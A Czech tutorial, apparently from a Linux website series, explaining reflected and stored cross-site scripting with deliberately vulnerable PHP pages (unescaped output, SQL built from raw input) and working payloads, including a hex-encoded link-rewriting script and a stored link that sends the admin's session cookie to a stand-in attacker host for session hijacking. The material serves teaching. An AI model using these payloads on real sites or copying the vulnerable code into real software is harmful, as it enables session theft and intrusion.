GNU/Linux >> Znalost Linux >  >> Linux

Příklady útoků XSS (útoky skriptování napříč weby)

V předchozím článku této série jsme vysvětlili, jak zabránit útokům SQL-Injection. V tomto článku uvidíme jiný druh útoku nazývaný útoky XXS.

XSS je zkratka pro Cross Site Scripting.

XSS je velmi podobný SQL-Injection. V SQL-Injection jsme tuto chybu zabezpečení zneužili vložením dotazů SQL jako uživatelských vstupů. V XSS vkládáme kód (v podstatě skriptování na straně klienta) na vzdálený server.

Typy skriptování mezi weby

XSS útoky jsou obecně rozděleny do 2 typů:

  1. Netrvalé
  2. Trvalé

1. Netrvalý XSS útok

V případě Non-Persistent útoku vyžaduje, aby uživatel navštívil speciálně vytvořený odkaz útočníkem. Když uživatel navštíví odkaz, vytvořený kód bude spuštěn prohlížečem uživatele. Pojďme tento útok lépe pochopit na příkladu.

Příklad pro neperzistentní XSS

index.php:

<?php
$name = $_GET['name'];
echo "Welcome $name<br>";
echo "<a href="http://xssattackexamples.com/">Click to Download</a>";
?>

Příklad 1:

Nyní útočník vytvoří adresu URL následovně a odešle ji oběti:

index.php?name=guest<script>alert('attacked')</script>

Když oběť načte výše uvedenou adresu URL do prohlížeče, zobrazí se jí varovné pole s nápisem „útok“. I když tento příklad nezpůsobuje žádné škody, kromě nepříjemného vyskakovacího okna „napadení“, můžete vidět, jak může útočník pomocí této metody způsobit několik škodlivých věcí.

Příklad 2:

Útočník se nyní může například pokusit změnit „Cílová URL“ odkazu „Kliknutím ke stažení“. Místo odkazu na web „xssattackexamples.com“ jej může přesměrovat na „not-real-xssattackexamples.com“ vytvořením adresy URL, jak je uvedeno níže:

index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script>

Ve výše uvedeném jsme zavolali funkci k provedení na „window.onload“. Protože webová stránka (tedy index.php) nejprve opakuje dané jméno a teprve poté kreslí značku . Pokud tedy napíšeme přímo jako ten, který je zobrazen níže, nebude to fungovat, protože tyto příkazy budou provedeny dříve, než se objeví značka

index.php?name=<script>var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com"</script>

Útočník má obvykle tendenci nevytvářet adresu URL, kterou může člověk přímo přečíst. Takže zakóduje znaky ASCII na hex následovně.

index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e

což je stejné jako:

index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script>

Nyní oběť nemusí vědět, co to je, protože přímo nemůže pochopit, že adresa URL je vytvořena a má větší šanci, že adresu URL navštíví.

2. Trvalý útok XSS

V případě trvalého útoku bude kód vložený útočníkem uložen na sekundárním úložném zařízení (většinou v databázi). Poškození způsobené trvalým útokem je větší než netrvalý útok. Zde uvidíme, jak unést relaci jiného uživatele provedením XSS.

Relace

Protokol HTTP je bezstavový protokol, což znamená, že nebude udržovat žádný stav s ohledem na požadavek a odpověď. Všechny požadavky a odpovědi jsou na sobě nezávislé. Ale většina webových aplikací to nepotřebuje. Jakmile se uživatel autentizuje, webový server by neměl vyžadovat uživatelské jméno/heslo pro další požadavek od uživatele. K tomu potřebují udržovat nějaký druh stavů mezi webovým prohlížečem a webovým serverem, což se provádí prostřednictvím „Relace“.

Když se uživatel poprvé přihlásí, webový server vytvoří ID relace a odešle jej do webového prohlížeče jako „cookie“. Všechny následné požadavky na webový server budou založeny na „ID relace“ v cookie.

Příklady trvalého útoku XSS

Tato ukázková webová aplikace, kterou jsme uvedli níže a která demonstruje přetrvávající útok XSS, provádí následující:

  • Existují dva typy uživatelů:„Správce“ a „Normální“ uživatel.
  • Když se „Admin“ přihlásí, může vidět seznam uživatelských jmen. Když se „normální“ uživatelé přihlásí, mohou aktualizovat pouze své zobrazované jméno.

login.php:

<?php
$Host= '192.168.1.8';
$Dbname= 'app';
$User= 'yyy';
$Password= 'xxx';
$Schema = 'test';

$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";

/* Connect with database asking for a new connection*/
$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);

/* Error checking the connection string */
if (!$Connect) {
 echo "Database Connection Failure";
 exit;
}

$query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';";

$result=pg_query($Connect,$query);
$row=pg_fetch_array($result,NULL,PGSQL_ASSOC);

$user_pass = md5($_POST['pass_word']);
$user_name = $row['user_name'];

if(strcmp($user_pass,$row['password'])!=0) {
 echo "Login failed";
}
else {
 # Start the session
 session_start();
 $_SESSION['USER_NAME'] = $user_name;
 echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";
}
?>

home.php:

<?php
session_start();
if(!$_SESSION['USER_NAME']) {
 echo "Need to login";
}
else {
 $Host= '192.168.1.8';
 $Dbname= 'app';
 $User= 'yyy';
 $Password= 'xxx';
 $Schema = 'test';
 $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
 $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
 if($_SERVER['REQUEST_METHOD'] == "POST") {
  $query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';";
  pg_query($Connect,$query);
  echo "Update Success";
 }
 else {
  if(strcmp($_SESSION['USER_NAME'],'admin')==0) {
   echo "Welcome admin<br><hr>";
   echo "List of user's are<br>";
   $query = "select display_name from $Schema.members where user_name!='admin'";
   $res = pg_query($Connect,$query);
   while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) {
    echo "$row[display_name]<br>";
   }
 }
 else {
  echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";
  echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";
  echo "<input type=\"submit\" value=\"Update\">";
 }
}
}
?>

Nyní se útočník přihlásí jako běžný uživatel a do textového pole zadá jako své zobrazované jméno následující:

<a href=# onclick=\"document.location=\'http://not-real-xssattackexamples.com/xss.php?c=\'+escape\(document.cookie\)\;\">My Name</a>

Výše uvedené informace zadané útočníkem budou uloženy v databázi (trvalé).

Nyní, když se administrátor přihlásí do systému, uvidí odkaz s názvem „Moje jméno“ spolu s dalšími uživatelskými jmény. Když admin klikne na odkaz, odešle soubor cookie, který má ID relace, na web útočníka. Nyní může útočník odeslat požadavek pomocí tohoto ID relace na webový server a může se chovat jako „Admin“, dokud relace nevyprší. Informace o souborech cookie budou vypadat takto:

xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3

Jakmile hacker zná PHPSESSID, může tuto relaci použít k získání oprávnění správce, dokud PHPSESSID nevyprší.

Abychom tomu lépe porozuměli, můžeme použít doplněk firefox s názvem „Tamper Data“, který lze použít k přidání nové hlavičky HTTP s názvem „Cookies“ a nastavení hodnoty na „PHPSESSID=vmcsjsgear6gsogpu7o2imr9f3“.

Jak používat „Tamper Data“ se budeme zabývat v budoucím článku této série.


Linux
  1. 12 Bash pro příklady smyček pro vaše skriptování prostředí Linux

  2. 7 Příklady příkazů Linux df

  3. 8 Příklady příkazů Linux TR

  1. Bash skriptování (I)

  2. sa Příklady příkazů v Linuxu

  3. Jak mohu zabránit útoku DDOS na Amazon EC2?

  1. Příklady příkazů rm v Linuxu

  2. Příklady příkazů ps v Linuxu

  3. w Příklady příkazů v Linuxu